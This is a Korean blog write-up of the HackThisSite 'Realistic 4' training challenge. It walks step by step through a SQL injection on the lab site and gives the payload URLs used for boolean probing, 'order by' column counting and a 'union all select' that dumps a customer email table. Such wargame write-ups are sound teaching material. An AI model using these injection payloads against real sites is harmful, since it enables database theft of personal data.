HackThisSite Realistic :: Fischer’s Animal Products

문제 :: http://www.hackthissite.org/playlevel/4/

사용자 삽입 이미지
올린사람 : SaveTheWhales

헬로우. 컴퓨터와 웹사이트를 해킹하는 방법을 알아보다가 친구로부터 당신을 소개받았어요. 당신이 저를 도와줄 지 궁금한데요. 단지 재킷과 지갑 등을 팔기 위해 하루에 수 백만 마리의 동물을 죽이는 가게가 있거든요. 그 웹사이트에 찾아가봤는데 그들은 고객의 이메일 리스트를 가지고 있는 것 같아요. 당신이 해킹을 해서 그 이메일 리스트를 제게 보내줄 수 있나요? 전 그들에게 자신들이 입고있는 살인적인 제품에 대해 메시지를 보내고 싶어요. 이메일 리스트는 그냥 이 메시지의 답장으로 보내주시기 바랍니다. 부탁드려요. 그들의 웹사이트는 http://www.hackthissite.org/missions/realistic/4/ 입니다.정말 고마워요!

SQL Injection의 기본기를 다지는 문제입니다. SQL Injection의 기본기는 WOWHACKER의 bOBaNa님이 번역하신 「Uncommon SQL Injection」에 자세히 설명되어 있습니다.

문서를 참고하면서 한 번 풀어보세요.

여기서부터는 풀이입니다.우선, xxx.php? 형태로 나타나는 페이지를 찾습니다.

http://www.hackthissite.org/missions/realistic/4/products.php?category=1
http://www.hackthissite.org/missions/realistic/4/products.php?category=2


이 두 페이지가 눈에 띕니다. 이 중에서 첫 번째 url에 다음과 같이 추가합니다.

http://www.hackthissite.org/missions/realistic/4/products.php?category=1 and 1=0--


그러면 에러는 없는데 웹페이지는 보이지 않습니다. 그리고 이번에

http://www.hackthissite.org/missions/realistic/4/products.php?category=1 and 1=1--


이와 같이 추가해보면 다시 웹페이지가 정상적으로 보입니다. 이것으로 이 웹사이트는 SQL Injection에 취약하다는 것을 확인할 수 있습니다.

어떻게 접근할 지를 알았으니 본격적으로 시작해보겠습니다.

http://www.hackthissite.org/missions/realistic/4/products.php?category=1 order by 1--


위와 같이 입력하면, 방금과 별 차이 없는 웹페이지가 보입니다. 이제 order by 뒤의 숫자를 1씩 증가해줍니다. order by 4– 까지 정상적으로 웹페이지가 보이고 5부터는 에러를 표시합니다. 이로소 DB에 4개의 Column이 있다는 걸을 확인하였습니다.

이제 필요한 것은 table의 이름인데, 이것은 첫 페이지의 email 주소 입력란에서 확인 할 수 있습니다. 입력란에 아무것도 입력하지 않고 버튼을 누르면, 아래와 같은 메시지를 보여줍니다.

Error inserting into table “email”! Email not valid! Please contact an administrator of Fischer’s

여기서 table의 이름은 email이란 것을 알 수 있습니다. 그러면, 아까의 페이지로 돌아와서 아래와 같이 입력합니다.

http://www.hackthissite.org/missions/realistic/4/products.php?category=1 union all select 1,2,3,4 from email


뒤의 select 문을 union으로 합치는 문장입니다. 아까 column의 갯수가 4개인 것을 확인하였으므로, select를 1, 2, 3, 4를 해줍니다. 그리고 table의 이름이 email이라는 것을 알고 있으므로 from 뒤에 email을 입력하였습니다.

이제는 table 어딘가에 있을 email 주소들을 찾습니다. 그 주소들은 저 4개의 column 중에 하나에 있을 것이므로, 하나씩 *로 대체합니다.

http://www.hackthissite.org/missions/realistic/4/products.php?category=1 union all select 1,*,3,4 from email


2번 째 column을 *로 대체했을 때 웹페이지에 아래와 같이 email 주소의 목록이 보이게 됩니다

사용자 삽입 이미지
이 email 주소 목록을 정리해서 SaveTheWhales 에게 쪽지를 보내면 미션 Complete!

참고 문헌

Uncommon SQL Injection :: http://wowhacker.com/163486

Similar Posts

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다